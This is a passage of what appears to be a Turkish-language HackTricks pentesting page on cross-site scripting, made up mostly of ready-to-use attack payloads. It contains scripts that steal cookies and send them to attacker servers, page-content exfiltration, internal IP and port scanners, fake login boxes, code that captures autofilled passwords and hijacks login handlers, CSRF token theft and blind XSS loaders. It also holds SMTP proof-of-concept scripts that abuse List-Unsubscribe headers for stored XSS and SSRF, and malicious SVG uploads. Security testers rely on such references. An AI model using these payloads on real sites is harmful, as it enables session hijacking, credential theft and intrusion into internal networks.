<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

Tip

Eğer cookie’de HTTPOnly flag’i set edilmişse, JavaScript ile cookies’e erişemezsiniz. Ancak burada şanslıysanız bu korumayı atlatmanın bazı yolları var.

Sayfa İçeriğini Çal

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

Dahili IP’leri Bul

<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Kısa süreler bir porta yanıt verildiğini gösterir Daha uzun süreler yanıt olmadığını gösterir.

Chrome’da yasaklanan portların listesini here ve Firefox’ta here inceleyin.

Kimlik bilgilerini isteme kutusu

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Otomatik doldurma şifrelerinin yakalanması

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don’t write anything the credentials will be ex-filtrated.

Hijack form handlers to exfiltrate credentials (const shadowing)

Parola alanına herhangi bir veri girildiğinde, kullanıcı adı ve parola saldırganın sunucusuna gönderilir; istemci kaydedilmiş bir parolayı seçse ve hiçbir şey yazmasa bile kimlik bilgileri sızdırılacaktır.

If a critical handler (e.g., function DoLogin(){...}) is declared later in the page, and your payload runs earlier (e.g., via an inline JS-in-JS sink), define a const with the same name first to preempt and lock the handler. Later function declarations cannot rebind a const name, leaving your hook in control:

Eğer kritik bir handler (ör. function DoLogin(){...}) sayfada daha sonra tanımlanıyorsa ve payload’unuz daha önce çalışıyorsa (ör. inline JS-in-JS sink aracılığıyla), handler’ı öne almak ve kilitlemek için aynı ada sahip bir const’u önce tanımlayın. Daha sonraki function deklarasyonları bir const ismini yeniden bağlayamaz; bu durumda hook kontrolü elinizde tutar:

const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

Notlar

  • Bu, yürütme sırasına dayanır: your injection meşru tanımlamadan önce çalışmalıdır.
  • Eğer payload’ınız eval(...) içinde sarılıysa, const/let bağlamaları globals olmaz. Gerçek bir global, non-rebindable binding sağlamak için bölüm “Deliverable payloads with eval(atob()) and scope nuances”’taki dynamic <script> injection technique’i kullanın.
  • Anahtar kelime filtreleri kodu engellediğinde, yukarıda gösterildiği gibi Unicode-escaped identifiers veya eval(atob('...')) teslimatı ile birleştirin.

Keylogger

Sadece github’da arama yaparken birkaç farklı tane buldum:

Stealing CSRF tokens

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

PostMessage mesajlarını çalma

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Service Workers’ın Kötüye Kullanımı

Abusing Service Workers

Shadow DOM’a Erişim

Shadow DOM

Polyglots

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt

Blind XSS payloads

Ayrıca şunu kullanabilirsiniz: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - Gizli İçeriğe Erişim

Bu this writeup sayesinde bazı değerler JS’ten kaybolsa bile, farklı nesnelerdeki JS attribute’larında hâlâ bulunabileceğini öğrenebilirsiniz. Örneğin, bir REGEX girdisi, regex girişinin değeri kaldırıldıktan sonra bile hâlâ bulunabilir:

// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Brute-Force List

Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

XSS ile diğer zafiyetlerin kötüye kullanımı

Markdown’da XSS

Render edilecek Markdown kodu enjekte edilebilir mi? Belki XSS elde edersin! Kontrol et:

XSS in Markdown

XSS’ten SSRF’ye

Önbellekleme kullanan bir site’de XSS mi buldun? Bunu SSRF’ye yükseltmeyi Edge Side Include Injection ile şu payload ile dene:

<esi:include src="http://yoursite.com/capture" />

Bunu cookie kısıtlamalarını, XSS filtrelerini ve çok daha fazlasını atlatmak için kullanın!
More information about this technique here: XSLT.

XSS in dynamic created PDF

Eğer bir web sayfası kullanıcı kontrollü girdi kullanarak bir PDF oluşturuyorsa, PDF oluşturan botu kandırarak keyfi JS kodu çalıştırmasını sağlayabilirsiniz.
Yani, eğer PDF oluşturucu bot bazı HTML etiketleri bulursa, bunları yorumlayacak ve bu davranışı kötüye kullanarak bir Server XSS tetikleyebilirsiniz.

Server Side XSS (Dynamic PDF)

Eğer HTML etiketleri enjekte edemiyorsanız, PDF verisi enjekte etmeyi denemek faydalı olabilir:

PDF Injection

XSS in Amp4Email

AMP, mobil cihazlarda web sayfası performansını hızlandırmayı amaçlayarak, hız ve güvenliğe vurgu yaparken işlevselliği sağlamak için JavaScript ile desteklenmiş HTML etiketlerini kullanır. Çeşitli özellikler için bir dizi bileşeni destekler; bunlara AMP components üzerinden erişilebilir.

The AMP for Email formatı belirli AMP bileşenlerini e-postalara genişleterek alıcıların içerikle doğrudan e-posta içinde etkileşim kurmasını sağlar.

Example writeup XSS in Amp4Email in Gmail.

List-Unsubscribe Header Abuse (Webmail XSS & SSRF)

RFC 2369 List-Unsubscribe header’ı, birçok webmail ve mail istemcisinin otomatik olarak “Unsubscribe” düğmelerine dönüştürdüğü saldırgan kontrollü URI’leri gömer. Bu URI’ler doğrulanmadan render edilir veya fetch edilirse, header hem stored XSS (unsubscribe link DOM’a yerleştirilirse) hem de SSRF (sunucu kullanıcının yerine unsubscribe isteğini yaparsa) için bir injection noktası haline gelir.

Stored XSS via javascript: URIs

  1. Kendinize bir e-posta gönderin; header javascript: URI’sine işaret etsin ve mesajın geri kalanını spam filtrelerinin düşürmemesi için zararsız tutun.
  2. UI’nin değeri render ettiğinden emin olun (birçok istemci bunu bir “List Info” panelinde gösterir) ve ortaya çıkan <a> tag’inin href veya target gibi saldırgan kontrollü öznitelikleri devralıp devralmadığını kontrol edin.
  3. Link target="_blank" kullandığında çalıştırmayı tetikleyin (ör. CTRL+click, middle-click veya “open in new tab”); tarayıcılar sağlanan JavaScript’i webmail uygulamasının origin’inde değerlendirecektir.
  4. stored-XSS primitive’sini gözlemleyin: payload e-postayla birlikte kalır ve çalışması için yalnızca bir tıklama gerektirir.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click

URI’deki yeni satır baytı (%0a), Horde IMP H5 gibi savunmasız istemcilerde bile sıra dışı karakterlerin render işleminden geçtiğini gösterir; bu istemciler a etiketi içinde dizeyi olduğu gibi görüntüler.

Kötü amaçlı List-Unsubscribe başlığı ileten Minimal SMTP PoC ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”

msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

#### Sunucu tarafı abonelik iptali proxy'leri -> SSRF

Bazı istemciler, örneğin Nextcloud Mail app, unsubscribe işlemini sunucu tarafında proxy'ler: düğmeye tıklamak sunucunun sağlanan URL'yi kendisinin fetch etmesini sağlar. Bu, header'ı bir SSRF primitive'ine dönüştürür; özellikle yöneticiler `'allow_local_remote_servers' => true` olarak ayarladığında (belgelenmiş: [HackerOne report 2902856](https://hackerone.com/reports/2902856)), bu loopback ve RFC1918 aralıklarına istek yapılmasına izin verir.

1. **Bir e-posta oluşturun**; `List-Unsubscribe` saldırgan kontrollü bir endpoint'e işaret etsin (blind SSRF için Burp Collaborator / OAST kullanın).
2. **`List-Unsubscribe-Post: List-Unsubscribe=One-Click`'i koruyun** ki UI tek tıklamalık abonelik iptali düğmesi göstersin.
3. **Güven gereksinimlerini karşılayın**: örneğin Nextcloud, mesaj DKIM'i geçtiğinde yalnızca HTTPS unsubscribe istekleri yapar, bu yüzden saldırgan e-postayı kontrol ettiği bir domain ile imzalamalıdır.
4. **Mesajı hedef sunucu tarafından işlenen bir posta kutusuna teslim edin** ve bir kullanıcının unsubscribe düğmesine tıklamasını bekleyin.
5. **Sunucu tarafı callback'i** collaborator endpoint'inde gözlemleyin; primitive doğrulandıktan sonra dahili adreslere pivot yapın.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
SSRF testi için DKIM-signed List-Unsubscribe mesajı ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkim

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”

msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

**Test notları**

- Blind SSRF kayıtlarını toplamak için bir OAST endpointi kullanın, ardından primitive doğrulandıktan sonra `List-Unsubscribe` URL'sini `http://127.0.0.1:PORT`, metadata servisleri veya diğer iç hostlara hedefleyecek şekilde uyarlayın.
- Unsubscribe helper genellikle uygulamayla aynı HTTP yığınını yeniden kullandığı için onun proxy ayarlarını, HTTP verbs'lerini ve header yeniden yazımlarını devralırsınız; bu da [SSRF methodology](../ssrf-server-side-request-forgery/README.md) içinde anlatılan ilave traversal hilelerini mümkün kılar.

### XSS dosya yükleme (svg)

Aşağıdakine benzer bir dosyayı resim olarak yükleyin (kaynak: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Daha fazla SVG payloads için bak: https://github.com/allanlw/svg-cheatsheet

Diğer JS İpuçları ve İlgili Bilgiler

Misc JS Tricks & Relevant Info

XSS kaynakları

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin